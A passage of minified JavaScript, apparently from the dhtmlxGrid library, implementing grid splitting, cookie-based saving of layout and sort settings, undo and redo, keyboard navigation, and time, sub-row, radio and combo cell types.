D=this.rowsAr[H].childNodes[E];if(D._treeCell&&D.firstChild.lastChild){D.firstChild.lastChild.innerHTML=F}else{D.innerHTML=C.innerHTML}D._clearCell=false;D.combo_value=C.combo_value;D.chstate=C.chstate}});this._fake.combos=this.combos;this.setSizes();if(this.rowsBuffer[0]){this._reset_view()}this.attachEvent(\"onXLE\",function(){this._fake._correctSplit()});this._fake._correctSplit()};dhtmlXGridObject.prototype._correctSplit=function(c){c=c||(this.obj.scrollWidth-this.objBox.scrollLeft);c=Math.min(this.globalBox.offsetWidth,c);if(c>-1){this.entBox.style.width=c+\"px\";this.objBox.style.width=c+\"px\";var g=(this.globalBox.offsetWidth-this.globalBox.clientWidth)/2;this._fake.entBox.style.left=c+\"px\";this._fake.entBox.style.width=Math.max(0,this.globalBox.offsetWidth-c-(this.quirks?0:2)*g)+\"px\";if(this._fake.ftr){this._fake.ftr.parentNode.style.width=this._fake.entBox.style.width}if(_isIE){var e=_isIE&&!window.xmlHttpRequest;var g=(this.globalBox.offsetWidth-this.globalBox.clientWidth);this._fake.hdrBox.style.width=this._fake.objBox.style.width=Math.max(0,this.globalBox.offsetWidth-(e?g:0)-c)+\"px\"}}};dhtmlXGridObject.prototype._correctRowHeight=function(o,m){if(!this.rowsAr[o]||!this._fake.rowsAr[o]){return}var l=this.rowsAr[o].offsetHeight;var e=this._fake.rowsAr[o].offsetHeight;var a=Math.max(l,e)-(this.rowsAr[o].delta_fix||0);if(!a){return}this.rowsAr[o].style.height=this._fake.rowsAr[o].style.height=Math.round(a+1)+\"px\";this.rowsAr[o].delta_fix=1;if(window._KHTMLrv){var c=this._fake._cCount;var n;while(!n&&c>=0){n=this.rowsAr[o].childNodes[c];c-=1}var g=this._fake.rowsAr[o].firstChild;if(n&&g){n.style.height=g.style.height=a+\"px\";n.style.boxSizing=g.style.boxSizing=\"border-box\"}}};dhtmlXGridObject.prototype.enableAutoSizeSaving=function(c,a){this.attachEvent(\"onResizeEnd\",function(){this.saveSizeToCookie(c,a)})};dhtmlXGridObject.prototype.saveOpenStates=function(c,a){if(!c){c=this.entBox.id}var e=[];this._h2.forEachChild(0,function(h){if(h.state==\"minus\"){e.push(h.id)}});var g=\"gridOpen\"+(c||\"\")+\"=\"+e.join(\"|\")+(a?(\"; \"+a):\"\");document.cookie=g};dhtmlXGridObject.prototype.loadOpenStates=function(e,a){var h=this.getCookie(e,\"gridOpen\");if(!h){return}h=h.split(\"|\");for(var g=0;g<h.length;g++){var c=this.getParentId(h[g]);if(!this.getOpenState(c)){continue}this.openItem(h[g])}};dhtmlXGridObject.prototype.enableAutoHiddenColumnsSaving=function(c,a){this.attachEvent(\"onColumnHidden\",function(){this.saveHiddenColumnsToCookie(c,a)})};dhtmlXGridObject.prototype.enableSortingSaving=function(c,a){this.attachEvent(\"onBeforeSorting\",function(){var e=this;window.setTimeout(function(){e.saveSortingToCookie(c,a)},1);return true})};dhtmlXGridObject.prototype.enableOrderSaving=function(c,a){this.attachEvent(\"onAfterCMove\",function(){this.saveOrderToCookie(c,a);this.saveSizeToCookie(c,a)})};dhtmlXGridObject.prototype.enableAutoSaving=function(c,a){this.enableOrderSaving(c,a);this.enableAutoSizeSaving(c,a);this.enableSortingSaving(c,a)};dhtmlXGridObject.prototype.saveSizeToCookie=function(c,a){if(this.cellWidthType==\"px\"){var h=this.cellWidthPX}else{var h=this.cellWidthPC}var g=(this.initCellWidth||[]).join(\",\");if(this._hrrar){for(var e=0;e<this._hrrar.length;e++){if(this._hrrar[e]){h[e]=\"\"}}}this.setCookie(c,a,0,h.join(\",\"));this.setCookie(c,a,1,g)};dhtmlXGridObject.prototype.saveHiddenColumnsToCookie=function(c,a){var g=[].concat(this._hrrar||[]);if(this._fake&&this._fake._hrrar){for(var e=0;e<this._fake._cCount;e++){g[e]=this._fake._hrrar[e]?\"1\":\"\"}}this.setCookie(c,a,4,g.join(\",\").replace(/display:none;/g,\"1\"))};dhtmlXGridObject.prototype.loadHiddenColumnsFromCookie=function(c){var g=this._getCookie(c,4);var a=(g||\"\").split(\",\");for(var e=0;e<this._cCount;e++){this.setColumnHidden(e,(a[e]?true:false))}};dhtmlXGridObject.prototype.saveSortingToCookie=function(c,a){this.setCookie(c,a,2,(this.getSortingState()||[]).join(\",\"))};dhtmlXGridObject.prototype.loadSortingFromCookie=function(a){var c=this._getCookie(a,2);c=(c||\"\").split(\",\");if(c.length>1&&c[0]<this._cCount){this.sortRows(c[0],null,c[1]);this.setSortImgState(true,c[0],c[1])}};dhtmlXGridObject.prototype.saveOrderToCookie=function(e,a){if(!this._c_order){this._c_order=[];var c=this._cCount;for(var g=0;g<c;g++){this._c_order[g]=g}}this.setCookie(e,a,3,((this._c_order||[]).slice(0,this._cCount)).join(\",\"));this.saveSortingToCookie()};dhtmlXGridObject.prototype.loadOrderFromCookie=function(c){var h=this._getCookie(c,3);h=(h||\"\").split(\",\");if(h.length>1&&h.length<=this._cCount){for(var g=0;g<h.length;g++){if((!this._c_order&&h[g]!=g)||(this._c_order&&h[g]!=this._c_order[g])){var e=h[g];if(this._c_order){for(var a=0;a<this._c_order.length;a++){if(this._c_order[a]==h[g]){e=a;break}}}this.moveColumn(e*1,g)}}}};dhtmlXGridObject.prototype.loadSizeFromCookie=function(a){var e=this._getCookie(a,1);if(e){this.initCellWidth=e.split(\",\")}var e=this._getCookie(a,0);if((e)&&(e.length)){if(!this._fake&&this._hrrar){for(var c=0;c<e.length;c++){if(this._hrrar[c]){e[c]=0}}}e=e.split(\",\");if(this.cellWidthType==\"px\"){this.cellWidthPX=e}else{this.cellWidthPC=e}}for(var c=0;c<e.length;c++){if(e[c]===\"\"){e[c]=this.initCellWidth[c];this.setColumnHidden(c,true)}}this.setSizes();return true};dhtmlXGridObject.prototype.clearConfigCookie=function(a){if(!a){a=this.entBox.id}var c=\"gridSettings\"+a+\"=||||\";document.cookie=c};dhtmlXGridObject.prototype.clearSizeCookie=dhtmlXGridObject.prototype.clearConfigCookie;dhtmlXGridObject.prototype.setCookie=function(c,a,l,g){if(!c){c=this.entBox.id}var e=this.getCookie(c);e=(e||\"||||\").split(\"|\");e[l]=g;var h=\"gridSettings\"+c+\"=\"+e.join(\"|\").replace(/,/g,\"-\")+(a?(\"; \"+a):\"\");document.cookie=h};dhtmlXGridObject.prototype.getCookie=function(c,g){if(!c){c=this.entBox.id}c=(g||\"gridSettings\")+c;var e=c+\"=\";if(document.cookie.length>0){var h=document.cookie.indexOf(e);if(h!=-1){h+=e.length;var a=document.cookie.indexOf(\";\",h);if(a==-1){a=document.cookie.length}return document.cookie.substring(h,a)}}};dhtmlXGridObject.prototype._getCookie=function(a,c){return((this.getCookie(a)||\"||||\").replace(/-/g,\",\").split(\"|\"))[c]};dhtmlXGridObject.prototype.enableUndoRedo=function(){var c=this;var e=function(){return c._onEditUndoRedo.apply(c,arguments)};this.attachEvent(\"onEditCell\",e);var a=function(h,g,l){return c._onEditUndoRedo.apply(c,[2,h,g,(l?1:0),(l?0:1)])};this.attachEvent(\"onCheckbox\",a);this._IsUndoRedoEnabled=true;this._UndoRedoData=[];this._UndoRedoPos=-1};dhtmlXGridObject.prototype.disableUndoRedo=function(){this._IsUndoRedoEnabled=false;this._UndoRedoData=[];this._UndoRedoPos=-1};dhtmlXGridObject.prototype._onEditUndoRedo=function(e,c,l,g,a){if(this._IsUndoRedoEnabled&&e==2&&a!=g){if(this._UndoRedoPos!==-1&&this._UndoRedoPos!=(this._UndoRedoData.length-1)){this._UndoRedoData=this._UndoRedoData.slice(0,this._UndoRedoPos+1)}else{if(this._UndoRedoPos===-1&&this._UndoRedoData.length>0){this._UndoRedoData=[]}}var h={old_value:a,new_value:g,row_id:c,cell_index:l};this._UndoRedoData.push(h);this._UndoRedoPos++}return true};dhtmlXGridObject.prototype.doUndo=function(){if(this._UndoRedoPos===-1){return false}var a=this._UndoRedoData[this._UndoRedoPos--];var e=this.cells(a.row_id,a.cell_index);if(this.getColType(a.cell_index)==\"tree\"){e.setLabel(a.old_value)}else{e.setValue(a.old_value)}this.callEvent(\"onUndo\",[a.row_id])};dhtmlXGridObject.prototype.doRedo=function(){if(this._UndoRedoPos==this._UndoRedoData.length-1){return false}var a=this._UndoRedoData[++this._UndoRedoPos];this.cells(a.row_id,a.cell_index).setValue(a.new_value);this.callEvent(\"onUndo\",[a.row_id])};dhtmlXGridObject.prototype.getRedo=function(){if(this._UndoRedoPos==this._UndoRedoData.length-1){return[]}return this._UndoRedoData.slice(this._UndoRedoPos+1)};dhtmlXGridObject.prototype.getUndo=function(){if(this._UndoRedoPos==-1){return[]}return this._UndoRedoData.slice(0,this._UndoRedoPos+1)};dhtmlXGridObject.prototype.enableAccessKeyMap=function(){this._select_ifpossible=function(){if(this.editor&&this.editor.obj&&this.editor.obj.select){this.editor.obj.select()}};this._key_events={k13_1_0:function(){this.editStop()},k13_0_1:function(){this._key_events.k9_0_1.call(this)},k13_0_0:function(){this._key_events.k9_0_0.call(this)},k9_0_0:function(){this.editStop();if(!this.callEvent(\"onTab\",[true])){return true}var a=this._getNextCell(null,1);if(a){if(this.pagingOn){this.showRow(a.parentNode.idd)}this.selectCell(a.parentNode,a._cellIndex,(this.row!=a.parentNode),false,true);this._still_active=true}this._select_ifpossible()},k9_0_1:function(){this.editStop();if(!this.callEvent(\"onTab\",[false])){return true}var a=this._getNextCell(null,-1);if(a){this.selectCell(a.parentNode,a._cellIndex,(this.row!=a.parentNode),false,true);this._still_active=true}this._select_ifpossible()},k113_0_0:function(){if(this._f2kE){this.editCell()}},k32_0_0:function(){var a=this.cells4(this.cell);if(!a.changeState||(a.changeState()===false)){return false}},k27_0_0:function(){this.editStop(true)},k33_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage-1)}else{this.scrollPage(-1)}},k34_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage+1)}else{this.scrollPage(1)}},k37_0_0:function(){if(this.editor){return false}if(this.isTreeGrid()){this.collapseKids(this.row)}else{this._key_events.k9_0_1.call(this)}},k39_0_0:function(){if(this.editor){return false}if(!this.editor&&this.isTreeGrid()){this.expandKids(this.row)}else{this._key_events.k9_0_0.call(this)}},k37_1_0:function(){if(this.editor){return false}this.selectCell(this.row,0,false,false,true);this._select_ifpossible()},k39_1_0:function(){if(this.editor){return false}this.selectCell(this.row,this._cCount-1,false,false,true);this._select_ifpossible()},k38_1_0:function(){this.selectCell(this.rowsCol[0],this.cell._cellIndex,true,false,true);this._select_ifpossible()},k40_1_0:function(){this.selectCell(this.rowsCol[this.rowsCol.length-1],this.cell._cellIndex,true,false,true);this._select_ifpossible()},k38_0_1:function(){var a=this.getRowIndex(this.row.idd);var c=this._nextRow(a,-1);if(!c||c._sRow||c._rLoad){return false}this.selectCell(c,this.cell._cellIndex,true,false,true);this._select_ifpossible()},k40_0_1:function(){var a=this.getRowIndex(this.row.idd);var c=this._nextRow(a,1);if(!c||c._sRow||c._rLoad){return false}this.selectCell(c,this.cell._cellIndex,true,false,true);this._select_ifpossible()},k38_1_1:function(){var a=this.getRowIndex(this.row.idd);for(var c=a;c>=0;c--){this.selectCell(this.rowsCol[c],this.cell._cellIndex,true,false,true)}},k40_1_1:function(){var a=this.getRowIndex(this.row.idd);for(var c=a+1;c<this.rowsCol.length;c++){this.selectCell(this.rowsCol[c],this.cell._cellIndex,true,false,true)}},k40_0_0:function(){if(this.editor&&this.editor.combo){this.editor.shiftNext()}else{if(!this.row.idd){return}var a=a=this.getRowIndex(this.row.idd)+1;if(this.rowsBuffer[a]){var c=this._nextRow(a-1,1);if(this.pagingOn&&c){this.showRow(c.idd)}this._Opera_stop=0;this.selectCell(c,this.cell._cellIndex,true,false,true)}else{if(!this.callEvent(\"onLastRow\",[])){return false}this._key_events.k34_0_0.apply(this,[])}}this._still_active=true},k36_0_0:function(){return this._key_events.k37_1_0.call(this)},k35_0_0:function(){return this._key_events.k39_1_0.call(this)},k36_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[0],0,true,false,true);this._select_ifpossible()},k35_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[this.rowsCol.length-1],this._cCount-1,true,false,true);this._select_ifpossible()},k33_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage-1)}else{this.scrollPage(-1)}},k34_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage+1)}else{this.scrollPage(1)}},k38_0_0:function(){if(this.editor&&this.editor.combo){this.editor.shiftPrev()}else{if(!this.row.idd){return}var a=a=this.getRowIndex(this.row.idd)+1;if(a!=-1){var c=this._nextRow(a-1,-1);this._Opera_stop=0;if(this.pagingOn&&c){this.showRow(c.idd)}this.selectCell(c,this.cell._cellIndex,true,false,true)}else{this._key_events.k33_0_0.apply(this,[])}}this._still_active=true}}};dhtmlXGridObject.prototype.enableExcelKeyMap=function(){this._key_events={k13_1_0:function(){this.editStop()},k13_0_1:function(){this.editStop();this._key_events.k38_0_0.call(this)},k13_0_0:function(){this.editStop();this.callEvent(\"onEnter\",[(this.row?this.row.idd:null),(this.cell?this.cell._cellIndex:null)]);this._still_active=true;this._key_events.k40_0_0.call(this)},k9_0_0:function(){this.editStop();if(!this.callEvent(\"onTab\",[true])){return true}if(this.cell&&(this.cell._cellIndex+1)>=this._cCount){return}var a=this._getNextCell(null,1);if(a&&this.row==a.parentNode){this.selectCell(a.parentNode,a._cellIndex,true);this._still_active=true}},k9_0_1:function(){this.editStop();if(!this.callEvent(\"onTab\",[false])){return true}if(this.cell&&(this.cell._cellIndex==0)){return}var a=this._getNextCell(null,-1);if(a&&this.row==a.parentNode){this.selectCell(a.parentNode,a._cellIndex,true);this._still_active=true}},k113_0_0:function(){if(this._f2kE){this.editCell()}},k32_0_0:function(){var a=this.cells4(this.cell);if(!a.changeState||(a.changeState()===false)){return false}},k27_0_0:function(){this.editStop(true);this._still_active=true},k33_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage-1)}else{this.scrollPage(-1)}},k34_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage+1)}else{this.scrollPage(1)}},k37_0_0:function(){if(this.editor){return false}if(this.isTreeGrid()){this.collapseKids(this.row)}else{this._key_events.k9_0_1.call(this)}},k39_0_0:function(){if(this.editor){return false}if(!this.editor&&this.isTreeGrid()){this.expandKids(this.row)}else{this._key_events.k9_0_0.call(this)}},k37_1_0:function(){if(this.editor){return false}this.selectCell(this.row,0,true)},k39_1_0:function(){if(this.editor){return false}this.selectCell(this.row,this._cCount-1,true)},k38_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[0],this.cell._cellIndex,true)},k40_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[this.rowsCol.length-1],this.cell._cellIndex,true)},k38_0_1:function(){if(this.editor||!this.rowsCol.length){return false}var a=this.row.rowIndex;var c=this._nextRow(a-1,-1);if(!c||c._sRow||c._rLoad){return false}this.selectCell(c,this.cell._cellIndex,true,true)},k40_0_1:function(){if(this.editor||!this.rowsCol.length){return false}var a=this.row.rowIndex;var c=this._nextRow(a-1,1);if(!c||c._sRow||c._rLoad){return false}this.selectCell(c,this.cell._cellIndex,true,true)},k38_1_1:function(){if(this.editor||!this.rowsCol.length){return false}var a=this.row.rowIndex;for(var c=a-1;c>=0;c--){this.selectCell(this.rowsCol[c],this.cell._cellIndex,true,true)}},k40_1_1:function(){if(this.editor||!this.rowsCol.length){return false}var a=this.row.rowIndex;for(var c=a;c<this.rowsCol.length;c++){this.selectCell(this.rowsCol[c],this.cell._cellIndex,true,true)}},k40_0_0:function(){var c=this._realfake?this._fake:this;if(this.editor&&this.editor.combo){this.editor.shiftNext()}else{if(this.editor){return false}var a=Math.max((c._r_select||0),this.getRowIndex(this.row.idd));var e=this._nextRow(a,1);if(e){c._r_select=null;this.selectCell(e,this.cell._cellIndex,true);if(c.pagingOn){c.showRow(e.idd)}}else{if(!this.callEvent(\"onLastRow\",[])){return false}this._key_events.k34_0_0.apply(this,[])}}},k36_0_0:function(){return this._key_events.k37_1_0.call(this)},k35_0_0:function(){return this._key_events.k39_1_0.call(this)},k36_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[0],0,true)},k35_1_0:function(){if(this.editor||!this.rowsCol.length){return false}this.selectCell(this.rowsCol[this.rowsCol.length-1],this._cCount-1,true)},k33_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage-1)}else{this.scrollPage(-1)}},k34_0_0:function(){if(this.pagingOn){this.changePage(this.currentPage+1)}else{this.scrollPage(1)}},k38_0_0:function(){var c=this._realfake?this._fake:this;if(this.editor&&this.editor.combo){this.editor.shiftPrev()}else{if(this.editor){return false}if(!this.row.idd){return}var a=this.getRowIndex(this.row.idd)+1;if(a!=-1&&(!this.pagingOn||(a!=1))){var e=this._nextRow(a-1,-1);this.selectCell(e,this.cell._cellIndex,true);if(c.pagingOn&&e){c.showRow(e.idd)}}else{this._key_events.k33_0_0.apply(this,[])}}},k_other:function(e){if(this.editor){return false}if(!e.ctrlKey&&e.keyCode>=40&&(e.keyCode<91||(e.keyCode>95&&e.keyCode<111)||e.keyCode>187)){if(this.cell){var g=this.cells4(this.cell);if(g.isDisabled()){return false}var a=g.getValue();if(g.editable!==false){g.setValue(\"\")}this.editCell();if(this.editor){this.editor.val=a;if(this.editor.obj&&this.editor.obj.select){this.editor.obj.select()}}else{g.setValue(a)}}}}}};function eXcell_time(a){this.base=eXcell_ed;this.base(a);this.getValue=function(){return this.cell.innerHTML.toString()};this.setValue=function(l){var h=new RegExp(\" \",\"i\");l=l.replace(h,\":\");if((l==\"\")){l=\"00:00\"}else{var h=new RegExp(\"[a-zA-Z]\",\"i\");var g=l.match(h);if(g){l=\"00:00\"}else{var h=new RegExp(\"[0-9]+[\\\\.\\\\/;\\\\-,_\\\\]\\\\[\\\\?\\\\: ][0-9]+\",\"i\");var g=l.search(h);if(g!=-1){var h=new RegExp(\"[\\\\./\\\\;\\\\-\\\\,\\\\_\\\\]\\\\[ \\\\?]\",\"i\");l=l.replace(h,\":\")}else{var h=new RegExp(\"[^0-9]\",\"i\");res1=l.search(h);if(g=l.match(h)){l=\"00:00\"}else{if(l.length==1){l=\"00:0\"+l}else{if(parseInt(l)<60){l=\"00:\"+l}else{if(l.length<5){var e=parseInt(l);var c=Math.floor(e/60);e=e-60*c;var c=c.toString();var e=e.toString();while(c.length<2){c=\"0\"+c}while(e.length<2){e=\"0\"+e}l=c+\":\"+e}}}}}}}this.cell.innerHTML=l}}eXcell_time.prototype=new eXcell_ed;function eXcell_sub_row(a){if(a){this.cell=a;this.grid=this.cell.parentNode.grid}this.getValue=function(){return this.grid.getUserData(this.cell.parentNode.idd,\"__sub_row\")};this._setState=function(c,e){(e||this.cell).innerHTML=\"<img src='\"+this.grid.imgURL+c+\"' width='18' height='18' />\";(e||this.cell).firstChild.onclick=this.grid._expandMonolite};this.open=function(){this.cell.firstChild.onclick(null,true)};this.close=function(){this.cell.firstChild.onclick(null,false,true)};this.isOpen=function(){return !!this.cell.parentNode._expanded};this.setValue=function(c){if(c){this.grid.setUserData(this.cell.parentNode.idd,\"__sub_row\",c)}this._setState(c?\"plus.gif\":\"blank.gif\")};this.setContent=function(c){if(this.cell.parentNode._expanded){this.cell.parentNode._expanded.innerHTML=c;this.resize()}else{this.cell._previous_content=null;this.setValue(c);this.cell._sub_row_type=null}};this.resize=function(){this.grid._detectHeight(this.cell.parentNode._expanded,this.cell,this.cell.parentNode._expanded.scrollHeight)},this.isDisabled=function(){return true};this.getTitle=function(){return this.grid.getUserData(this.cell.parentNode.idd,\"__sub_row\")?\"click to expand|collapse\":\"\"}}eXcell_sub_row.prototype=new eXcell;function eXcell_sub_row_ajax(a){this.base=eXcell_sub_row;this.base(a);this.setValue=function(c){if(c){this.grid.setUserData(this.cell.parentNode.idd,\"__sub_row\",c)}this.cell._sub_row_type=\"ajax\";this.cell._previous_content=null;this._setState(c?\"plus.gif\":\"blank.gif\")}}eXcell_sub_row_ajax.prototype=new eXcell_sub_row;function eXcell_sub_row_grid(a){this.base=eXcell_sub_row;this.base(a);this.setValue=function(c){if(c){this.grid.setUserData(this.cell.parentNode.idd,\"__sub_row\",c)}this.cell._sub_row_type=\"grid\";this._setState(c?\"plus.gif\":\"blank.gif\")};this.getSubGrid=function(){if(!a._sub_grid){return null}return a._sub_grid}}eXcell_sub_row_grid.prototype=new eXcell_sub_row;dhtmlXGridObject.prototype._expandMonolite=function(a,s,l){var e=this.parentNode;var u=e.parentNode;var o=u.grid;if(a||window.event){if(!l&&!u._expanded){o.editStop()}(a||event).cancelBubble=true}var r=o.getUserData(u.idd,\"__sub_row\");if(!o._sub_row_editor){o._sub_row_editor=new eXcell_sub_row(e)}if(!r){return}if(u._expanded&&!s){o._sub_row_editor._setState(\"plus.gif\",e);e._previous_content=u._expanded;o.objBox.removeChild(u._expanded);u._expanded=false;u.style.height=(u.oldHeight||20)+\"px\";e.style.height=(u.oldHeight||20)+\"px\";if(o._fake){o._fake.rowsAr[u.idd].style.height=(u.oldHeight||20)+\"px\";o._fake.rowsAr[u.idd].firstChild.style.height=(u.oldHeight||20)+\"px\"}for(var h=0;h<u.cells.length;h++){u.cells[h].style.verticalAlign=\"middle\"}delete o._flow[u.idd];o._correctMonolite();u._expanded.ctrl=null}else{if(!u._expanded&&!l){o._sub_row_editor._setState(\"minus.gif\",e);u.oldHeight=e.offsetHeight-4;if(e._previous_content){var q=e._previous_content;q.ctrl=e;o.objBox.appendChild(q);o._detectHeight(q,e,parseInt(q.style.height))}else{var q=document.createElement(\"DIV\");q.ctrl=e;if(e._sub_row_type){o._sub_row_render[e._sub_row_type](o,q,e,r)}else{q.innerHTML=r}q.style.cssText=\"position:absolute; left:0px; top:0px; overflow:auto; font-family:Tahoma; font-size:8pt; margin-top:2px; margin-left:4px;\";q.className=\"dhx_sub_row\";o.objBox.appendChild(q);o._detectHeight(q,e)}if(!o._flow){o.attachEvent(\"onGridReconstructed\",function(){if((this.pagingOn&&!this.parentGrid)||this._srnd){this._collapsMonolite()}else{this._correctMonolite()}});o.attachEvent(\"onResizeEnd\",function(){this._correctMonolite(true)});o.attachEvent(\"onAfterCMove\",function(){this._correctMonolite(true)});o.attachEvent(\"onDrop\",function(){this._correctMonolite(true)});o.attachEvent(\"onBeforePageChanged\",function(){this._collapsMonolite();return true});o.attachEvent(\"onGroupStateChanged\",function(){this._correctMonolite();return true});o.attachEvent(\"onFilterEnd\",function(){this._collapsMonolite()});o.attachEvent(\"onUnGroup\",function(){this._collapsMonolite()});o.attachEvent(\"onPageChanged\",function(){this._collapsMonolite()});o.attachEvent(\"onXLE\",function(){this._collapsMonolite()});o.attachEvent(\"onClearAll\",function(){for(var c in this._flow){if(this._flow[c]&&this._flow[c].parentNode){this._flow[c].parentNode.removeChild(this._flow[c])}}this._flow=[]});o.attachEvent(\"onEditCell\",function(v,n,w){if((v!==2)&&this._flow[n]&&this.cellType[w]!=\"ch\"&&this.cellType[w]!=\"ra\"){this._expandMonolite.apply(this._flow[n].ctrl.firstChild,[0,false,true])}return true});o.attachEvent(\"onCellChanged\",function(w,n){if(!this._flow[w]){return}var v=this.cells(w,n).cell;v.style.verticalAlign=\"top\"});o._flow=[]}o._flow[u.idd]=q;o._correctMonolite();var m=o._srdh>30?11:3;if(o.multiLine){m=0}for(var h=0;h<u.cells.length;h++){u.cells[h].style.verticalAlign=\"top\"}if(o._fake){var g=o._fake.rowsAr[u.idd];for(var h=0;h<g.cells.length;h++){g.cells[h].style.verticalAlign=\"top\"}}u._expanded=q}}if(o._ahgr){o.setSizes()}if(o.parentGrid){o.callEvent(\"onGridReconstructed\",[])}o.callEvent(\"onSubRowOpen\",[u.idd,(!!u._expanded)])};dhtmlXGridObject.prototype._sub_row_render={ajax:function(that,d,td,c){d.innerHTML=\"Loading...\";dhx4.ajax.get(c,function(xml){d.innerHTML=xml.xmlDoc.responseText;var z=xml.xmlDoc.responseText.match(/<script[^>]*>([^\\f]+?)<\\/script>/g);if(z){for(var i=0;i<z.length;i++){eval(z[i].replace(/<([\\/]{0,1})s[^>]*>/g,\"\"))}}that._detectHeight(d,td);that._correctMonolite();that.setUserData(td.parentNode.idd,\"__sub_row\",xml.xmlDoc.responseText);td._sub_row_type=null;if(that._ahgr){that.setSizes()}that.callEvent(\"onSubAjaxLoad\",[td.parentNode.idd,xml.xmlDoc.responseText])})},grid:function(a,e,h,g){h._sub_grid=new dhtmlXGridObject(e);if(a.skin_name){h._sub_grid.setSkin(a.skin_name)}h._sub_grid.parentGrid=a;h._sub_grid.imgURL=a.imgURL;h._sub_grid.iconURL=a.iconURL;h._sub_grid.enableAutoHeight(true);h._sub_grid._delta_x=h._sub_grid._delta_y=null;h._sub_grid.attachEvent(\"onGridReconstructed\",function(){a._detectHeight(e,h,h._sub_grid.objBox.scrollHeight+h._sub_grid.hdr.offsetHeight+(this.ftr?this.ftr.offsetHeight:0));a._correctMonolite();this.setSizes();if(a.parentGrid){a.callEvent(\"onGridReconstructed\",[])}});if(!a.callEvent(\"onSubGridCreated\",[h._sub_grid,h.parentNode.idd,h._cellIndex,g])){h._sub_grid.objBox.style.overflow=\"hidden\";h._sub_row_type=null}else{h._sub_grid.loadXML(g,function(){a._detectHeight(e,h,h._sub_grid.objBox.scrollHeight+h._sub_grid.hdr.offsetHeight+(h._sub_grid.ftr?h._sub_grid.ftr.offsetHeight:0));h._sub_grid.objBox.style.overflow=\"hidden\";a._correctMonolite();h._sub_row_type=null;if(!a.callEvent(\"onSubGridLoaded\",[h._sub_grid,h.parentNode.idd,h._cellIndex,g])){return}if(a._ahgr){a.setSizes()}})}}};dhtmlXGridObject.prototype._detectHeight=function(m,n,c){var a=n.offsetLeft+n.offsetWidth;m.style.left=a+\"px\";m.style.width=Math.max(0,n.parentNode.offsetWidth-a-4)+\"px\";var c=c||m.scrollHeight;m.style.overflow=\"hidden\";m.style.height=c+\"px\";var g=n.parentNode;n.parentNode.style.height=(g.oldHeight||20)+c*1+\"px\";n.style.height=(g.oldHeight||20)+c*1+\"px\";if(this._fake){var e=this._fake.rowsAr[n.parentNode.idd];e.style.height=(g.oldHeight||20)+c*1+\"px\";e.firstChild.style.height=(g.oldHeight||20)+c*1+\"px\"}};dhtmlXGridObject.prototype._correctMonolite=function(g){if(this._in_correction){return}this._in_correction=true;for(var e in this._flow){if(this._flow[e]&&this._flow[e].tagName==\"DIV\"){if(this.rowsAr[e]){if(this.rowsAr[e].style.display==\"none\"){this.cells4(this._flow[e].ctrl).close();continue}this._flow[e].style.top=this.rowsAr[e].offsetTop+(this.rowsAr[e].oldHeight||20)+\"px\";if(g){var c=this._flow[e].ctrl.offsetLeft+this._flow[e].ctrl.offsetWidth;this._flow[e].style.left=c+\"px\";this._flow[e].style.width=this.rowsAr[e].offsetWidth-c-4+\"px\"}}else{this._flow[e].ctrl=null;this.objBox.removeChild(this._flow[e]);delete this._flow[e]}}}this._in_correction=false};dhtmlXGridObject.prototype._collapsMonolite=function(){for(var c in this._flow){if(this._flow[c]&&this._flow[c].tagName==\"DIV\"){if(this.rowsAr[c]){this.cells4(this._flow[c].ctrl).close()}}}};function eXcell_ra_str(a){if(a){this.base=eXcell_ra;this.base(a);this.grid=a.parentNode.grid}}eXcell_ra_str.prototype=new eXcell_ch;eXcell_ra_str.prototype.setValue=function(e){this.cell.style.verticalAlign=\"middle\";if(e){e=e.toString()._dhx_trim();if((e==\"false\")||(e==\"0\")){e=\"\"}}if(e){if(this.grid.rowsAr[this.cell.parentNode.idd]){for(var c=0;c<this.grid._cCount;c++){if(c!==this.cell._cellIndex){var a=this.grid.cells(this.cell.parentNode.idd,c);if((a.cell._cellType||this.grid.cellType[a.cell._cellIndex])!=\"ra_str\"){continue}if(a.getValue()){a.setValue(\"0\")}}}}e=\"1\";this.cell.chstate=\"1\"}else{e=\"0\";this.cell.chstate=\"0\"}this.setCValue(\"<img src='\"+this.grid.imgURL+\"radio_chk\"+e+\".gif' onclick='new eXcell_ra_str(this.parentNode).changeState()'>\",this.cell.chstate)};dhx4.attachEvent(\"onGridCreated\",function(c){if(!window.dhx_globalImgPath){window.dhx_globalImgPath=c.imgURL}c._col_combos=[];for(var a=0;a<c._cCount;a++){if(c.cellType[a].indexOf(\"combo\")==0){c._col_combos[a]=eXcell_combo.prototype.initCombo.call({grid:c},a)}}if(!c._loading_handler_set){c._loading_handler_set=c.attachEvent(\"onXLE\",function(g,e,l,h){eXcell_combo.prototype.fillColumnCombos(this,h);this.detachEvent(this._loading_handler_set);this._loading_handler_set=null})}});function eXcell_combo(a){if(!a){return}this.cell=a;this.grid=a.parentNode.grid;this._combo_pre=\"\";this.edit=function(){if(!window.dhx_globalImgPath){window.dhx_globalImgPath=this.grid.imgURL}this.val=this.getValue();var c=this.getText();if(this.cell._clearCell){c=\"\"}this.cell.innerHTML=\"\";if(!this.cell._brval){this.combo=(this.grid._realfake?this.grid._fake:this.grid)._col_combos[this.cell._cellIndex]}else{this.combo=this.cell._brval}this.cell.appendChild(this.combo.DOMParent);this.combo.DOMParent.style.margin=\"0\";this.combo.DOMelem_input.focus();this.combo.setSize(this.cell.offsetWidth-2);if(!this.combo._xml){if(this.combo.getIndexByValue(this.cell.combo_value)!=-1){this.combo.selectOption(this.combo.getIndexByValue(this.cell.combo_value))}else{if(this.combo.getOptionByLabel(c)){this.combo.selectOption(this.combo.getIndexByValue(this.combo.getOptionByLabel(c).value))}else{this.combo.setComboText(c)}}}else{this.combo.setComboText(c)}this.combo.openSelect()};this.selectComboOption=function(e,c){c.selectOption(c.getIndexByValue(c.getOptionByLabel(e).value))};this.getValue=function(c){return 